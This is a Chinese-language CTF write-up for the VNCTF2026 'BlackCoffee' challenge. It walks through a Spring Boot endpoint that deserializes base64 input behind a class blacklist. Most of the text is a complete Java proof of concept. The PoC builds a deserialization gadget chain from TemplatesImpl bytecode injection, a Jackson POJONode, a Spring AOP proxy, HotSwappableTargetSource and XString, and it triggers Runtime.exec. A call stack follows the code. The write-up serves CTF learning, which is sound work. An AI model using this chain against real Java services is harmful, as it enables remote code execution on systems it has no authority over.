· 3 min read · 485 words · CTF

VNCTF2026 BlackCoffee

TL;DR

unk 出的题目,他也是退役的人,现在估计已经上岸了吧,突然想起了 VNCTF2025 还拿了 200 CNY 的奖金,但是 2026 过年去了就没参加,现在来复现一道 Java 反序列化的题目

<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
  <modelVersion>4.0.0</modelVersion>

  <groupId>org.example.blackcoffee</groupId>
  <artifactId>black-coffee</artifactId>
  <version>1.0-SNAPSHOT</version>
  <packaging>jar</packaging>

  <name>black-coffee</name>
  <url>http://maven.apache.org</url>
  <parent>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-parent</artifactId>
    <version>2.7.11</version>
    <relativePath/>
  </parent>
  <properties>
    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
  </properties>

  <dependencies>
    <dependency>
      <groupId>org.springframework.boot</groupId>
      <artifactId>spring-boot-starter-web</artifactId>
    </dependency>
  </dependencies>
  <build>
    <plugins>
      <plugin>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-maven-plugin</artifactId>
      </plugin>
    </plugins>
  </build>
</project>

这个依赖就是很明显能够打 Spring 那条链子的,

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by Fernflower decompiler)
//

package org.example.blackcoffee.controller;

import java.io.ByteArrayInputStream;
import java.util.Base64;
import org.example.blackcoffee.CoffeeObjectInputStream;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
public class CoffeeController {
    @ResponseBody
    @RequestMapping({"/"})
    public String index() {
        return "hello";
    }

    @ResponseBody
    @RequestMapping({"/drink"})
    public String coffee(String payload) {
        byte[] decode = Base64.getDecoder().decode(payload);

        try {
            (new CoffeeObjectInputStream(new ByteArrayInputStream(decode))).readObject();
            return "done!";
        } catch (Exception e) {
            return e.getMessage();
        }
    }
}

给了反序列化接口,

简单搜索了下我的博客得知拦截的主要是这几个类

javax.swing.event.EventListenerList
javax.swing.undo.UndoManager
java.security.SignedObject

禁止了二次反序列化绕过黑名单,换成 Xstring 触发即可

package org.example.poc;

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.springframework.aop.framework.AdvisedSupport;
import org.springframework.aop.target.HotSwappableTargetSource;
import sun.misc.Unsafe;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.InvalidClassException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.ObjectStreamClass;
import java.io.Serializable;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;

//--add-opens=java.base/sun.nio.ch=ALL-UNNAMED
//--add-opens=java.base/java.lang=ALL-UNNAMED
//--add-opens=java.base/java.io=ALL-UNNAMED
//--add-opens=jdk.unsupported/sun.misc=ALL-UNNAMED
//--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED
//--add-opens=java.xml/com.sun.org.apache.xpath.internal.objects=ALL-UNNAMED
//--add-opens=java.base/java.lang.reflect=ALL-UNNAMED
//--add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED
//--add-exports=java.xml/com.sun.org.apache.xpath.internal.objects=ALL-UNNAMED
//--add-exports=jdk.unsupported/sun.misc=ALL-UNNAMED

public class Poc {

    public static void main(String[] args) throws Exception {
        patchModule(Poc.class);

        ClassPool pool = ClassPool.getDefault();
        CtClass evilClass = pool.makeClass("Evil" + System.nanoTime());
        evilClass.makeClassInitializer().insertAfter(
                "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");");
        byte[] evilBytes = evilClass.toBytecode();
        CtClass stubClass = pool.makeClass("Stub" + System.nanoTime());
        byte[] stubBytes = stubClass.toBytecode();

        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{evilBytes, stubBytes});
        setFieldValue(templates, "_name", "Pwnd");
        setFieldValue(templates, "_transletIndex", 0);

        CtClass nodeClass = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
        CtMethod writeReplace = nodeClass.getDeclaredMethod("writeReplace");
        nodeClass.removeMethod(writeReplace);
        nodeClass.toClass();

        Object proxyTemplates = getPOJONodeStableProxy(templates);
        POJONode jsonNode = new POJONode(proxyTemplates);

        HotSwappableTargetSource h1 = new HotSwappableTargetSource("a");
        HotSwappableTargetSource h2 = new HotSwappableTargetSource("b");
        HashMap<Object, Object> map = new HashMap<>();
        map.put(h1, 1);
        map.put(h2, 2);
        setFieldValue(h1, "target", jsonNode);
        setFieldValue(h2, "target", new XString("x"));

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(map);
        oos.close();

        try {
            new CoffeeObjectInputStream(new ByteArrayInputStream(barr.toByteArray())).readObject();
        } catch (Throwable ignored) {
        }
    }

    private static void patchModule(Class<?> clazz) {
        try {
            Unsafe unsafe = getUnsafe();
            Module javaBaseModule = Object.class.getModule();
            long offset = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
            unsafe.putObject(clazz, offset, javaBaseModule);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    private static Unsafe getUnsafe() throws Exception {
        Field f = Unsafe.class.getDeclaredField("theUnsafe");
        f.setAccessible(true);
        return (Unsafe) f.get(null);
    }

    private static void setFieldValue(Object obj, String field, Object val) throws Exception {
        Field dField = obj.getClass().getDeclaredField(field);
        dField.setAccessible(true);
        dField.set(obj, val);
    }

    private static Object getPOJONodeStableProxy(Object templatesImpl) throws Exception {
        Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
        Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
        cons.setAccessible(true);
        AdvisedSupport advisedSupport = new AdvisedSupport();
        advisedSupport.setTarget(templatesImpl);
        InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);
        return Proxy.newProxyInstance(
                clazz.getClassLoader(),
                new Class[]{Templates.class, Serializable.class},
                handler);
    }

    public static class CoffeeObjectInputStream extends ObjectInputStream {
        public CoffeeObjectInputStream(java.io.InputStream in) throws java.io.IOException {
            super(in);
        }

        @Override
        protected Class<?> resolveClass(ObjectStreamClass desc) throws java.io.IOException, ClassNotFoundException {
            String name = desc.getName();
            if (name.startsWith("javax.swing") || name.startsWith("java.security")) {
                throw new InvalidClassException("bad for coffee:", name);
            }
            return super.resolveClass(desc);
        }
    }
}

调用栈

java.lang.Runtime.exec(Runtime.java)
EvilXXX.<clinit>
java.lang.reflect.Constructor.newInstance(Constructor.java)
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getTransletInstance(TemplatesImpl.java:559)
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer(TemplatesImpl.java:587)
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties(TemplatesImpl.java:608)
org.springframework.aop.support.AopUtils.invokeJoinpointUsingReflection(AopUtils.java:344)
org.springframework.aop.framework.JdkDynamicAopProxy.invoke(JdkDynamicAopProxy.java:213)
jdk.proxy1.$Proxy0.getOutputProperties
com.fasterxml.jackson.databind.ser.BeanPropertyWriter.serializeAsField(BeanPropertyWriter.java:689)
com.fasterxml.jackson.databind.ser.std.BeanSerializerBase.serializeFields(BeanSerializerBase.java:774)
com.fasterxml.jackson.databind.node.POJONode.serialize(POJONode.java:115)
com.fasterxml.jackson.databind.ObjectWriter.writeValueAsString(ObjectWriter.java:1086)
com.fasterxml.jackson.databind.node.InternalNodeMapper.nodeToString(InternalNodeMapper.java:30)
com.fasterxml.jackson.databind.node.BaseJsonNode.toString(BaseJsonNode.java:136)
com.sun.org.apache.xpath.internal.objects.XString.equals(XString.java:391)
org.springframework.aop.target.HotSwappableTargetSource.equals(HotSwappableTargetSource.java:104)
java.util.HashMap.putVal(HashMap.java:633)
java.util.HashMap.readObject(HashMap.java:1553)
org.example.poc.Poc.main(Poc.java)